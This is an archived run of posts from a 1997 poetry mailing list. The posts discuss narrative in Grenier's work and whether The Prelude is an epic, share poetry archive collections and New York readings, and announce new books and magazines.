ATTENTION: SEVEN NARRATIVES

Grenier's work, like Larry Eigner's, presents the movement of attention. (And that movement opening out--from the page out in to the world--a poem for Eigner being "like taking a walk"--and finding it extend--: "serenditipty"--the movement of the poem being the narrative)

In Grenier's work of the last ten years, the movement is in space as well as in time.

(Note: recent work by Grenier, including a 45 pp. piece for Larry Eiger--is up at Light and Dust Books. Larry Eigner's Air the Trees is also there

http://www.thing.net/~grist/homekarl.htm

The "unfolding of meaning in (across) time" RS mentions is spatialized--and literalized. In Spring and All WCW wrote that he would "invite" the reader to "read and see"--hence the emphasis on visual design (from Demuth and Gris) in Williams' work--the verbal arrangment , the american idiom, often being "dictated" by the visual structure. (As a kind of eidetic after image--WCW noting to Edith Heal that he reworked "The Nightingales" for his first Collected--"see how much better it looks on the page".)

Grenier, who works a good deal with the early modernism of WCW and Stein--notes that "langauge follows joyful seeing".

Narrative in the work--"scrawl poems" as usually called--is literally the seeing and reading of the work--following the lines, making (or "making out" if one thinks of the activity as "deciphering")--making the shapes of the letters and these making words--seeing moves into "sounding"--sounding out the words--the work, the narrative that unfolds meaning through time as RS has it--is spatialized--time "takes Place"--in the horizontal overlays and overlaps, the moving in and out of each other, of the words, often written "on top of" each other--one is seeing the words in space as well as seeing and reading in time--

this connection with seeing in space and time works with an interrelationship like that of light--light is simultaneously particle and wave--the "exact" position can not be "measured"--when moving among a page of Grenier's writing--or "across" many of them--as they are meant to be laid out in groupings--so one may read "across" or up and down--with the lines and forms of each letter, each word, each page--being able to be seen and read as particles--and as participating in a wave--

"Narrative" then is not "only" movement "towards" a "meaning"--it is literally the activity of the attention in the seeing and reading of the letters/words "between shapes and sounds" (RG)--

The movement of/with/in attention is the narrative. In seeing and reading--I think Grenier is opening possibilites in a simulateneity of Williams' "only the imagination is real" and "no ideas but in things". (The work does not "answer" this so much as, with all Grenier's work--ask questions about "the actual as the gift of the possible".

"That which exits through itself is what is called meaning" Olson wrote--Grenier's work here as well opens many questions--

--dave baptiste chirot

On Fri, 9 May 1997 [redacted] wrote:

> *Narrative = the unfolding of meaning in (across) time*
>
> *As Grenier himself has demonstrated (in more ways than one), even a single vowel has a beginning, middle and end, events that can be modulated, expectations set up and either satisfied, turned aside or turned up on their heads (right side up)*
>
> *The idea of a non-narrative art exists as an idea*
> *but it never exists in the face of an actual text or sounded poem*
>
> *Story is a whole other ball o' wax*
>
> *Ron*
>
> *Ron Silliman* *When this you see*
> *262 Orchard Road* *Remember me*
> *Paoli, PA 19301-1116*
> [redacted]
> [redacted] *(o)*
> [redacted] *(fax)*
> [redacted]
> [redacted]

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230. Mark Weiss
poetry collections/information please
Fri 9 May 1997

A plea to the list for information! To the best of my knowledge there's no list available of all poetry secial collections like the Archive at UCSD or Poet's House at U. of Arizona. Obviously such a list would be useful to publishers like me and the poets they publish. Please help me compile one (or inform me if one

exists) by front- or backchannelling info. If I get responses I will assemble and send to the list. Thanks

Mark of the Junction

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231. **David Israel**
Re: Poets Theatre at New Langton Arts
Fri 9 May 1997

Camille Roy writes --

<< I'm a literature curator at New Langton Arts in San Francisco and I am interested in having the organization put on some small productions of plays which could be considered "poets' theatre". . . >>

sounds like a fruitful idea -- I've memory of seeing something along those lines one evening at New Langton abt. 10 years ago -- a work-in-progress (I think it was) from Lyn Hejinian & Carla Harriman [pardon re: spelling], w/ walk-thru cameos by members of the Rova quartet ...

that program also featured Leslie Scalapino's reading (w/ work of somewhat theatrical nature) . . . & other good things . . .

<< If anyone has Fiona Templeton's email address, I would appreciate back channel forwarding of same. >>

I've just now sent you that address backchannel ...

d.i.

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232. **henry**
Re: Orpehus (apologies, a little long)
Fri 9 May 1997

---

merciphoulos, Joel.

this question of leaving "obvious" narrative & "obvious" history (we're all arty geniuses here!) for mod-postmod emphasis of the "alnguage orfgrounded" - this is whut i was intersticed in re the Orph story frum Greece - seemeth liketh iteth iseth an urly examp of doubling doubling-back, that is, the guy gal who goes surfing in Hades for Your idiocee is not just some ordinary Injun but a POET la la ... is this an urly examp of Greek self-conshushness in gen i.e. concept of urthly actual "Man" as upposed to eastern abstraxct muthology... Olsun din' like th greeks mut they wuz doon thugh same thinguh...

- Chuckie Cheez who hateth poetwy

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233. **Sylvester Pollet**
Re: poetry collections/information please
Fri 9 May 1997

There must be one--I'd like it too if/when you find it. Probably a search engine could do it, with some thrashing around. sp

> *A plea to the list for information!*
> *To the best of my knowledge there's no list available of all poetry secial collections like the Archive at UCSD or Poet's House at U. of Arizona. Obviously such a list would be useful to publishers like me and the poets they publish. Please help me compile one (or inform me if one exists) by front- or backchannelling info. If I get responses I will assemble and send to the list.*
> *Thanks*
>
> *Mark of the Junction*

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234. **henry**
Re: The Narr
Fri 9 May 1997

I thunk it wuz that "which EXISTS" not exits thru itsulf, Dave, tho you throw an inturrsting insect purrcatspucturf on whut i thogught I wuz quotin frum muh dream about a black cat santhemum - ANYHO, people, less clean up the litter-box & open the mailbox sez OZ - - Chas/

hey anybody read NIGHT STUDIO by Musa Mayer? talk about sighs & clops
plop !!
bug-eyed slowmotion narratolgist allergists... hu earful E suds

talk to me, the poem goes into the lungs, give me not this glue to the Eigner/Grenier acronym...eyeball one eyeball huh? take a look at it thru Phil Guston's layabout... it blows smoke thru the scented dimney...uri y :)

↑ Index

235. **DS**
readings...
Fri 9 May 1997

Sorry for this pedestrian question...

any interesting readings in NYC 16-21 May - or the few days before the 16th in San Francisco?

Dan Salmon

↑ Index

236. **Mark Weiss**
Re: poetry collections/information please
Fri 9 May 1997

Sylvester--I've tried same but make no claims to search proficiency. A good start would be if anyone on the list whose institution (barred or otherwise) has such a collection would send the list the details.

At 04:29 PM 5/9/97 -0400, you wrote:
>There must be one--I'd like it too if/when you find it. Probably a search
>engine could do it, with some thrashing around. sp
>
>
>>A plea to the list for information!
>>To the best of my knowledge there's no list available of all poetry secial
>>collections like the Archive at UCSD or Poet's House at U. of Arizona.
>>Obviously such a list would be useful to publishers like me and the poets
>>they publish. Please help me compile one (or inform me if one exists) by
>>front- or backchannelling info. If I get responses I will assemble and send
>>to the list.
>>Thanks
>>
>>Mark of the Junction
>
>

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237. **Mark Weiss**
Re: epic redux
Fri 9 May 1997

---

hold everything--is someone claiming that The Prelude is an epic?

At 10:41 AM 5/9/97 -0500, you wrote:
>Dwayne,
>
>Undermining traditional ideas of a genre re-constitutes that genre through
>resistance to the assumptions implicit in the genre, through resistance to

>the ideas which govern or define the genre's identity, and this is done by
>borrowing the terms of the genre and playfully (as in Ashbery's case)
>standing them on their head even while acknowledging to some extent a degree
>of fidelity to the original model - in _Flowchart's_ case, _The Prelude_.
>
>Patrick Pritchett
> ----------
>From: Daniel Tessitore
>To: POETICS
>Subject: Re: epic/narrative - Flowchart
>Date: Friday, May 09, 1997 3:06AM
>
>How does undermining trad. ideas of a genre constitute that genre? I
>suppose if one means by epic "very very large in scale," then that
>statement would hold, Flowchart being large in the way we are not used to
>seeing large. But if by epic we are talking about such elements as
>narrative, characters, blah, blah, then how does undermining those things
>alone equal the same thing? Is L-A-N-G-U-A-G-E poetry which "resists" or
>"disrupts" the trad. idea of the lyric, by the same token, also lyric?
>
>Dwayne
>
>

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238. David Israel
Re: epic redux
Fri 9 May 1997

Mark Weiss implores:

> *hold everything--is someone claiming that The Prelude is an epic?*

that's easier said than done!

Also interesting might be this question: is the epic a prelude?

d.i.

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239. **Mark Weiss**
Re: epic redux
Fri 9 May 1997

Pre-lude as in "before the game?" "Girls-in-short-skirts-jumping-up-and-down?"

At 06:39 PM 5/9/97 -0400, you wrote:
>Mark Weiss implores:
>
>>hold everything--is someone claiming that The Prelude is an epic?
>
>that's easier said than done!
>
>Also interesting might be this question: is the epic a prelude?
>
>d.i.
>
>

↑ Index

240. **David Israel**
Re: epic redux -Reply
Fri 9 May 1997

Mark Weiss:
>hold everything--is someone claiming that The Prelude is an epic?

d.i.:
>that's easier said than done! [i.e., to hold everything]
>
>Also interesting might be this question: is the epic a prelude?

M.W.:
>Pre-lude as in "before the game?"
>"Girls-in-short-skirts-jumping-up-and-down?"

poss. along those lines -- though (much) more generally: that which precedes something else. Presumably, the age of the epic is precursor to other ages. For since one cannot so easily hold everything, things must continue to tumble forth bit by bit, life by life, age by age; and thereby, the era of the epic seems distant & dim -- hence its hold of (perhaps) a nostalgic interest?

Further in re: (notions of) "prelude" --
here?s some lines fished from my unpublished paraphernalia

/ / / /

Caffe Reggio

He in a new confusion of his understanding;
I in a new understanding of my confusion.

Robert Graves

How many thought the hopeless hope would find itself
as a voice moving across the occluded distances?
Was language prelude? Did we (as claimed) engage
in such rich pantomime only to disclose piecemeal
how words might yet relinquish words? And at the end --
at the end of everything, was the silent laughter waiting?
a jocular subtlety? a punchline so *diffuse*
it hits you in the gut not *ex cathedra*: trilling (rather)
in stray reports of bird & car: oblique persistences
that arise pell-mell, though you've deposited no quarter? . . .

[above is 1st of 7 stanzas]
(New York City, Nov. 1992)

cheerio,
d.i.

↑ Index

241. **Mark Weiss**
Re: epic redux -Reply
Fri 9 May 1997

---

precursor--computer term for "what I wrote last?" ProtoJeremiah? or, "Gee, I've got original sin. I must be precursed."

At 07:21 PM 5/9/97 -0400, you wrote:
>Mark Weiss:
>>hold everything--is someone claiming that The Prelude is an epic?
>
>d.i.:
>>that's easier said than done! [i.e., to hold everything]
>>
>>Also interesting might be this question: is the epic a prelude?
>
>M.W.:
>>Pre-lude as in "before the game?"
>>"Girls-in-short-skirts-jumping-up-and-down?"
>
>poss. along those lines -- though (much) more generally: that which

>precedes something else. Presumably, the age of the epic is precursor to
>other ages. For since one cannot so easily hold everything, things must
>continue to tumble forth bit by bit, life by life, age by age; and thereby,
>the era of the epic seems distant & dim -- hence its hold of (perhaps) a
>nostalgic interest?
>
>Further in re: (notions of) "prelude" --
>here?s some lines fished from my unpublished paraphernalia
>
>/ / / /
>
> Caffe Reggio
>
> He in a new confusion of his understanding;
> I in a new understanding of my confusion.
>
> Robert Graves
>
> How many thought the hopeless hope would find itself
> as a voice moving across the occluded distances?
> Was language prelude? Did we (as claimed) engage
> in such rich pantomime only to disclose piecemeal
> how words might yet relinquish words? And at the end --
> at the end of everything, was the silent laughter waiting?
> a jocular subtlety? a punchline so *diffuse*
> it hits you in the gut not *ex cathedra*: trilling (rather)
> in stray reports of bird & car: oblique persistences
> that arise pell-mell, though you've deposited no quarter? . . .
>
>[above is 1st of 7 stanzas]
>(New York City, Nov. 1992)
>
>cheerio,
>d.i.
>
>

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242. aerialedge

new L=A=N=G Bk, Waldrop, Watten &&& @ Bridge Street

Fri 9 May 1997

Lots new. Ordering instructions at the end of the list.

1. _The L=A=N=G=U=A=G=E Book_, Bruce Andrews and Charles Bernstein ed., Southern Illonois, $18.95. It's back, it's blue red & pink. "A chip of uninfected substance; or else, a 'glimpse', a crack into what otherwise might . . ."

2. _Modernity at Large: Cultural Dimensions of Globalization_, Arjun Appadurai, Minnesota, $18.95.

3. _Geopoetics: The Politics of Mimesis in Poststructuralist French Poetry and Theory_, Joan Brandt, Stanford, $17.95.

4. _Excitable Speech: A Politics of the Performative_, Judith Butler, $16.95, Routledge. "Can repetition be both the way that trauma is repeated but also the way in which it breaks with the historicity to which it is in thrall? What makes for a reverse citation in the scene of trauma, how can hate speech be cited against itself?"

5. _In the Analogy_, John Clarke, shuffaloff, $18. "Somebody snickered and we got Newton,/ so things have been falling ever since"

6. _Corporations are Gonna Get Your Mama_, ed. Kevin Danaher, foreword by Noam Chomsky, Common Courage, $15.95. Contributors include Richard Barnet, Kirkpatrick Sale, & Jerry Mander.

7. _perhaps this is a rescue fantasy_, Heather Fuller, Edge, $10. "I don't know this femme but she's dreamed me in peignoir." "For Heather Fuller enjamb north-south-street-lettres smarts in narralyrical riff space full of humor & attention & rage." -- Joan Retallack.

8. _Paratexts: Thresholds of interpretation_, Gerard Genette, Cambridge, $22.95.

9. _No. 111 2.7.93--10.20.96_, Kenneth Goldsmith, The Figures, $17.50. "The Borscht belt meets concept art in this delirious digest of obsessive gaiety, this useless collection of perishable information, this wily catalog of everyday life, this alphabetic bestiary of the ribs, joints, sinews, and bones of language's alluring lure." --Charles Bernstein. "A man a plan a canoe pasta herons rajahs a coloratura a rut a Rolo a jar a sore hats a peon a canal Panama!"

10. _Che Guevara: A Revolutionary Life_, Jon Lee Anderson, Grove, $35.

11. _The XUL Reader: An Anthology of Argentine Poetry 1980-1996_, ed. Ernesto Livon Grosman, Roof, $15.95. "Bawlings propagate, undulate in all linguages n many others possible. N these letterswarms, n glyftangles, n

disfonetix n copluracents, like a a bunch of lovesmokes, separate or join, countermove or subside, in order or not, form n reform meaning n argu, always neo."

12. _Jacques Lacan_, Elizabeth Roudinesco, Columbia, $36.95.

13. _Will Teach for Food: Academic Labor in Crisis_, Cary Nelson ed., foreword by Barbara Ehrenreich, U Minnesota, $19.95. In part 1 participants describe the Yale graduate student strike and examine what workers on other campuses can learn from this action. I part 2, activists and scholars place the challenge to academic workers in the context of US labor history and assess the impact of university corporatization on the communities that surround them and on higher education as a whole. Contributors include Stanley Aronowitz, Michale Berube, Duncan Kennedy, Linda Pratt, Andrew Ross, and Michelle Stepehens.

14. _Manifesto of a Tenured Radical_, Cary Nelson, NYU of all places, $17.95. Includes the hits "Progressive Pedagogy Without Apologies: The Cultural Work of Teaching Noncanonical Poetry,""Dichotomy is Where the Money Is: Anti-Intellectualism Inside and Outside the University," "What is to be Done?: A Twelve Step Program for Academia," and "Reaction and Resistance at Yale and the MLA: Union Organizing and the Job Market."

15. _Proliferation 3_, Burger, Schwartz, & Vitiello eds., $8. Albon, Andrews, A. Berrigan, Brooker, Byrum, Cole, Conant, Davidson, Day, Hunt, Husar, Merilene Murphy, Sheila Murphy, Nakell, Notley, Scalapino, Schultz, R. Waldrop, Wallace, Waugh, Wingate.

16. _Mason & Dixon_, Thomas Pynchon, Holt, $27.50.

17. _Stepping Razor_, A.L. Nielsen, Edge/Upper Limit, $10. "The catalogue of volunteered abrasions" "What Bogart was to crime-flicks, Nielsen is to postmodern poetry." --David Bromige

18. _Raddle Moon 15_, Susan Clark & Lisa Robertson ed., $8. Templeton, Riley, Freidlander, Mutton, Scalapino, A. Davies, Rosenfeld, N. Fischer, Ward, Fanny Howe, Sher, Moure, Foyle, & Edgar Allen Poe.

19. _Another Language: Selected Poems_, Rosmarie Waldrop, Talisman House, $10.50. Selections from 11 books, ya gotta have it. "and without decay/ opaque vibrations from old immobility/ amplify/ the constant small change/ in our cells"

20. _Frame (1971-1990)_, Barrett Watten, Sun & Moon, $13.95. Collects six books, _Opera--Works_, _Decay_, _1-10_, _Plasma/Paralleles/"X"_, _Complete Thought_, and _Conduit_, ya gotta have it. "A telephone pole is an edited tree."

21. _Peasants Wake for Fellini's Casanova and Other Poems_, Andrea Zanzotto, drawings by Frederico Fellini, edited and translated by John P. Welle and Ruth Feldman, U Illonois, $18.95. "Andrea Zanzotto is one of the great poets of the

last fifty years, an audacious innovator whose work evokes the imaginative range and depth of Holderlin and Leopardi. His social vision, his formal and tonal variety, are all well represented here." --Michael Palmer

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books. We must charge some shipping for orders out of the US.

Bridge Street Books, 2814 Pennsylvania Ave NW, Wahsington, DC 20007.

↑ Index

243. Daniel Zimmerman

Re: epic redux

Fri 9 May 1997

Mark Weiss wrote:
>
> Pre-lude as in "before the game?" "Girls-in-short-skirts-jumping-up-and-down?"
>
> At 06:39 PM 5/9/97 -0400, you wrote:
> >Mark Weiss implores:
> >
> >>hold everything--is someone claiming that The Prelude is an epic?
> >
> >that's easier said than done!
> >
> >Also interesting might be this question: is the epic a prelude?
> >
> >d.i.
> >
> >Pray, lewd!
"Hey, man: I never touched her." --Achilles on Briseis.
Sure.
& I thought Odysseus had a corner on the epithet "smooth-tongued"...
--Dan Zimmerman

↑ Index

244. Diane Marie Ward
Re: poetry collections/information please
Fri 9 May 1997

The Electronic Poetry Center should be of assistance to you -
http://writing.upenn.edu/epc/connects/mss.html
and
http://writing.upenn.edu/epc/connects/orgs.html
both feature lists of websites of manuscript/special collections and poetry organizations respectively.

Hope this helps...

Diane-Marie Ward
SUNY Buffalo

On Fri, 9 May 1997, Sylvester Pollet wrote:

> *There must be one--I'd like it too if/when you find it. Probably a search engine could do it, with some thrashing around. sp*
>
> *A plea to the list for information!*
> *To the best of my knowledge there's no list available of all poetry secial collections like the Archive at UCSD or Poet's House at U. of Arizona. Obviously such a list would be useful to publishers like me and the poets they publish. Please help me compile one (or inform me if one exists) by front- or backchannelling info. If I get responses I will assemble and send to the list.*
> *Thanks*
>
> *Mark of the Junction*

Diane-Marie Ward

↑ Index

245. Alan Jennifer Sondheim
Collocation of Stars (fwd)
Sat 10 May 1997

There is a third javascript text at:
http://www.anu.edu.au/english/internet_txt/tt.htm

All three can easily be accessed from the mirror URL below, as well as the Internet_txt itself.

Go to the URL, click on either Jennifer, how could you, or Collocation of Stars.

Alan - please use recent graphics browser

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR: http://www.anu.edu.au/english/internet_txt/ TEL [redacted] IMAGES: http://www.cs.unca.edu/~davidson/pix/ Editor, BEING ON LINE CUSEEME 166.84.250.149 ADDRESS: 432 Dean St., Brooklyn, NY, 11217

↑ Index

246. Piombino/Simon
Re: readings...
Sat 10 May 1997

Bob Holman/Douglas Rothschild- 5/16-Teachers & Writers- 5 Union Square West- Free-7-8:30
Lewis Warsh/Garrett Kallenberg- 5/17- Segue Performance Space-7:30-303 E 8th St Between B & C-$3.50
Pam Rehm/Jeffrey Harrison-5/18-Mazer Theater,Ed Alliance- 107 E. Bway-free-4 p.m.
Ed Friedman/Gary Lenhart-5/21- The Poetry Project-St Mark's Church-2cd Ave & E.10th Street-$7On Sat, 10 May 1997, DS wrote:

> *Sorry for this pedestrian question...*
>
> *any interesting readings in NYC 16-21 May - or the few days before the 16th in San Francisco?*
>
> *Dan Salmon*

↑ Index

247. Piombino/Simon
Re: readings...
Sat 10 May 1997

Other events you may wish to check out on those dates:
Shomyo & Bugaku Ho-e-Buddhist Ritual Chant- May 15 & 16- Japan Society- 333 East 47th Street- 8:00 p.m.- $25- [redacted]
Abigail Child- films at Millennium- May 17- showing B/Side and 8 Million- 66 East 4th Street- 8 p.m.
Book Party for Michael Heller, Joel Lewis, Leonard Schwartz, Rosemarie

Waldrop- new books from Talisman House- May 18- 5-7 p.m.- at Z Gallery 70 Greene Street (Soho) [redacted] for info

↑ Index

248. Kristin S Prevallet

Re: poetry collections/information please

Sat 10 May 1997

On Fri, 9 May 1997, Mark Weiss wrote:

> *Sylvester--I've tried same but make no claims to search proficiency. A good start would be if anyone on the list whose institution (barred or otherwise) has such a collection would send the list the details.*

The Poetry /Rare Books Collection
University Libraries
420 Capen Hall
Buffalo, NY 14260
e-mail [redacted]
web site: http://ublib.buffalo.edu/libraries/

"Devoted to 20TH CENTURY POETRY IN ENGLISH AND ENGLISH TRANSLATION, the Poetry Collection contains 90,000 volumes by every major and many minor poets writing in English. Recordings of poets reading from their own works, poets' notebooks, letters and manuscripts, and a wide variety of literary magazines are also included in this collection. Approximately 3,500 little magazine titles, 1,200 current subscriptions, and a number of portraits, sculptures, and photographs round out the collection."

Our CD-ROM history "of poetry in Buffalo" is in its final phases of production, and includes some interesting facts about most of our acquisitions. Send your name to [redacted] if you want to be on the list to receive one.

↑ Index

249. Pritchett,Pat

Re: epic redux

Sat 10 May 1997

Mark Weiss wrote:

> *hold everything--is someone claiming that The Prelude is an epic?*

Er, well no, not exactly, Mark. I guess you caught me in flagrante conflatio. But - having said that in an attempt to extricate myself from the hole I've dug - I think a claim cld be put forward for _The Prelude_ as an epic in autobiography, in which "the action," "the story," is the development of the poet's

consciousness. Which is also what I see happening in _Flowchart_. This is admittedly a loose interp of "epic."

Having been absorbed lately in David Jones' _The Anathemata_, I'll toss out a few peripheral scraps from my reading that may have some bearing here:

"I have made a heap of all that I could find." - Nennius (from DJ's intro)

"It was a dark and stormy night, we sat by the calcined wall; it was said to the tale teller, tell us a tale, and the tale ran thus: it was a dark and stormy night..." (epigraph).

Now this little diddy to my mind sums up what epic is all about - not just that stuff about the "tale of the tribe" - but the rescuing of potentially rejuvenating or at least still powerful psychic material from the rimefrost of cliche. Its circularity and self-referentialty are "the story" - i.e. the history of the growth of consciousness, though maybe not too many here will agree with that. _The Prelude_ cld be shoehorned into this model, and mebbe, just mebbe, _Flowchart_? All this begs the questions: is epic still possible, or even desirable, and if so, what do we expect it to do? Certainly not the affirmation of national/tribal identity as _The Iliad_ did for the Greeks?

Fuzzier than Jordan,
Patrick Pritchett

↑ Index

250. Hugh Steinberg
Re: epic/narrative / Basho / Carson
Sat 10 May 1997

Steven Marks Wrote:

> *BTW, I would recommend _Ava_ by Carole Maso in which several narratives intertwine in the mind of a dying woman. On her last day of life, in fact. The novel consists of short "paragraphs," usually one sentence, sometimes more, sometimes fragments, often repetitive, so that the stories build slowly but inexorably. Actually, "build" is a bit misleading. It's more like they coalesce.*

In a similar vein, I'd like to recommend Max Frisch's _Man in the Holocence_, a short novel which is written from the point of view of a man undergoing a stroke. As his memory fails, he tapes up encyclopedia cuttings, which appear in the book as gray texts. Towards the end of the book the gray texts completely wipe out everything else. Very moving.

Hugh steinberg

↑ Index

251. **nuyopoman**
Re: POETICS Digest - 7 May 1997 to 8 May 1997
Sat 10 May 1997

Whoops. Somehow May7-8 did not download here . Could you resend? Sorry for the broadcast.

Thanks,

Bob Holman

↑ Index

252. **Dan Machlin**
Kalleberg/Warsh reading at Segue
Sat 10 May 1997

One of the last readings of the season at Segue, don't miss

Garrett Kalleberg and Lewis Warsh
Saturday, May 17th, 7:30 PM
at

The Segue Foundation Performance Space
303 East 8th Street, NY, NY
(between Aves B&C)
[redacted]
Admission $3-5

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253. **William Slaughter**
Mudlark No. 5
Sat 10 May 1997

MUDLARK
An Electronic Journal of Poetry & Poetics
Never in and never out of print...
ISSN 1081-3500 | Copyright (c) Mudlark 1997
Editor: William Slaughter | E-mail: [redacted]
URL: http://www.unf.edu/mudlark

_____

ANNOUNCING MUDLARK NO. 5:

Five Fictions by Joe Ahearn

Joe Ahearn is co-editor of Rancho Loco Press, which will release BEST TEXAS WRITING 1996 in the spring of 1997. His criticism, translations, and poetry

have appeared in a large number of periodicals, including THE QUARTERLY, FIVE AM, DALLAS REVIEW, SULPHUR RIVER LITERARY REVIEW, and others. Ahearn has been nominated for the 1996 Pushcart Prize. Poems are forthcoming in BOUILLABAISSE, RECURSIVE ANGEL, and SULPHUR RIVER LITERARY REVIEW. His work has also been collected in the limited-edition chapbook, KYOKO AT PLAY (Harvest Publications, 1994), and is forthcoming in the anthologies, CROSSCONNECT: WRITERS OF THE INFORMATION AGE (CrossConnect, 1997) and ANTI-BIBLE (Incarnate Muse Press, 1997). Ahearn lives in Dallas with his family, where he writes poetry, essays, and books about advanced software development. Ahearn can be reached on the Internet at [redacted].

_____

COMING ATTRACTIONS IN MUDLARK:

Island Road by Henry Gould
A sequence that is not exactly a sequence
of sonnets that are not exactly sonnets...

Only A Friend Can Know by Mike O'Connor
Poems and Translations (from the Chinese)
on the Theme of _Chih-yin_

↑ Index

254. henry gould
Re: poetry collections/information please
Sun 11 May 1997

John Hay Library at Brown University collects US & Canadian poetry published any which way - broadsides, pamphlets, chapbks, books, & I think also magazines. Send pub/ordering info or queries to:

Harris Collection
John Hay Library
Brown University
Providence, RI 02912

- HG

p.s. it is a HUGE collection.

↑ Index

255. Piombino/Simon
Re: Manhattan Readings
Sun 11 May 1997

May 18 Zinc Bar Anselm Berrigan/Mary Burger 90 West Houston 6:30-8:30
[redacted]

↑ Index

256. John Cayley
(no subject)
Sun 11 May 1997

*** apologies for cross-postings ***

I was *very* impressed by the video issue of this sparky, irreverent, eclectic, London-based and superbly designed magazine (watch for the rising star of the titles (and overall) designer, David Rainbird). Here is some info recently sent out by the editor. Subscribe!

> |

Date: Thu, 10 Apr 1997 21:11:52 +0100
From: [redacted] (Rachel Steward)
Subject: ENGAGED Issue 5

Dear Subscriber/Contributor,

I am writing to you with information about Issue 5 (now available), and to illicit some feedback regarding the future of the magazine.

1. Issue 5 (published on video)

This is one of the most exciting issues yet, with eleven short films from a talented group of film-makers and animators, some of whom are known talents such as Jamie Thraves and Thomas Q Napper, recognised for their work on pop promos for Radiohead,The Lightning Seeds, and Dodgy.

The Big Issue commented on Issue 5 - "a stylishly presented, 90-minute programme, it features live action and animated films by 10 up-and-coming young film-makers... In keeping with its informative, magazine-style brief, you also get entertaining asides and interviews with the artists" (Big Issue March 24-30).

Time Out thought it was "an exemplary issue" featuring "a diversity of ambition and resources... but it's all provocative and engaging" and " all wrapped up with highly professional graphics" (Time Out March 26-April 2).

Featured Films
Thomas Q Napper - Pineal Mouse
Seonaid Mackay & Vivienne Cherry - Book

Susannah Gent - Black Bag
Andrew Kotting - Jaunt
Sally Ann Arthur & Sean Topham- Daddy Wouldn't Buy Me a Peg Bar
Run Wrake - Juke box
Jamie Thraves - The Hackney Downs
Vito Rocco - Ciao Mamma... + Buona Fortuna
David Hopkinson - Taking Off
Francesca Iannaccone - Scrapbook

Guest Editor: Philip Ilson (Halloween Society)
Titles: David Rainbird
Sponsored and funded by: London Arts Board, London Film and Video Development Agency and Halloween Society.

Price: ten pounds (UK), thirteen pounds (Europe), fifteen pounds (World)

Available: on subscription from the ENGAGED address (subscription form attached) or from selected Arts bookshops.

Format: PAL, SECAM and NTSC
The video issue is packaged in a clear airbag.

2. The Future

Before planning the next two years of ENGAGED, I am eager to get some feed-back as to the
direction the magazine should be moving, both in terms of form and content.

QUESTIONS

DO YOU HAVE ANY IDEAS FOR FUTURE ISSUES?

WHAT DO YOU FEEL ABOUT THE POSSIBILITY OF ENGAGED TAKING ON ADVERTISING?

WOULD YOU LIKE THE MAGAZINE TO HAVE MORE EDITORIAL AND/OR ARTISTS' CONTENT?

DO YOU HAVE A LOCAL OUTLET THAT YOU FEEL SHOULD STOCK ENGAGED?

If you have any answers then please phone or
e-mail me 0171 7363123 - <[redacted]>.

FUTURE ISSUES ALREADY UNDERWAY: ISSUE 6 - the radio issue - planned for early summer This will be a flexible package of poetry, story-telling, music, and sound-art. I aim to get it broadcast on as many stations as possible from the main-stream to the smallest pirate stations both in the UK, Europe, Australia, USA, Canada... It will also be available on the internet with real audio.

For those of you who have already submitted work, many thanks, sorry about the delay, but I will be in touch as soon as the issue takes shape. Submissions are still being accepted, SAE for return.

ISSUE 7 - the comic/cartoon issue. Please send photocopies at this stage.
ISSUE 8 - an internet issue. I hope to have a web page up in the near future so as to start getting ideas as to how this particular issue could work. Any suggestion welcomed, and keep your eyes open for the web page in the next month.

VACANCIES -
A Guest Editor is required for the Radio Issue. Ideally, someone with a good knowledge of the medium.
A Part-time Volunteer to help with the magazine in general. Some experience of publicity and fundraising would be useful.

I look forward to hearing from you with regard to any of the above, and if you choose to sample the delights of ENGAGED # 5, then I hope you enjoy the experience.

Yours sincerely,

Rachel Steward
Editor

PS Sorry about the length of this missive.

[redacted]

ENGAGED
334a Kennington Road
London
SE11 4LD

0[redacted]

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257. **Maria Damon**
Re: walter lowenfels
Sun 11 May 1997

---

joel: good folks to contact are walter kalaidjian and cary nelson, at emory and illinois respectively--md

At 1:30 AM +0100 5/12/97, Joel Lewis wrote:
>i'm putting together a selected poems & prose of walter lowenfels
>(1897-1976), modernist running buddy of henry miller & later communist
>party poet who proclaimed himself a "proletarian surrealist" in middle of
>zhadanov social realism. anyone out there on list with any material

>relating to wlater--especially poems in little mags that may not have been
>collecetd -- his papers are at beineke, but have never been cataloged.
>especially looking for '74 issue of small press review which was a special
>lowenfels issue . please back channel if you have info
>
>joel
>
>**********
>JOEL LEWIS
>[redacted]
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>SLEEP FASTER! WE NEED THE PILLOWS!
> --- Yiddish aphorism
><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

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258. Michael Heller
Talisman House Book Party
Sun 11 May 1997

Annoucement:

TALISMAN HOUSE BOOK PARTY

MAY 18 1997 5-7 PM

Z GALLERY
70 GREENE STREET
NYC

to celebrate the publication of the following books:

Ted Berrigan, ON THE LEVEL EVERYDAY: SELECTED TALKS ON POETRY AND THE ART OF LIVING, edited by Joel Lewis with a preface by Alice Notley.

William Bronk, VECTORS AND SMOOTHABLE CURVES: COLLECTED ESSAYS: NEW EDITION.

Michael Heller, WORDFLOW, NEW AND SELECTED POEMS.

Leonard Schwartz, WORDS BEFORE THE ARTICULATE: NEW AND SELECTED POEMS.

Rosemarie Waldrop, ANOTHER LANGUAGE: SELECTED POEMS

Ivan Zhdanov, THE INCOVERTIBLE SKY, translated by John High and Patrick Henry with an introduction by Mark Shatunsky.

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259. **shemurph**
WORDS BEFORE THE ARTICULATE
Sun 11 May 1997

As a follow-on to the Michael's announcement of the Talisman House book release celebration, I'd like to mention that Words Before the Articulate: New and Selected Poems by Leonard Schwartz is a superb book not to be missed.

Highly recommended!

Sheila Murphy

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260. **KYLE CONNER/LRC-CAHS**
Re: poetry collections/information please
Sun 11 May 1997

Temple University's Paley Library has something called the CCC, Contemporary Culture Collection. One of their focusses is small literary journals of sixties and seventies and other rare pubs. When i was doing a paper on Blackburn, i went their and paged through their copy of _The Omitted Journals_, a very limited edition publication (Perishable Press?) of roughly twenty journal pieces that didn't make it into his _The Journals_. it was an attractive chapbook on fine paper, 6"x12", something like that. i like the fact that they forbid pens in the small room. you are allowed only to use a pencil if you want to take notes. something about the sacredness of paper.

don't have the address offhand, but Temple does have a website.

-kyle

↑ Index

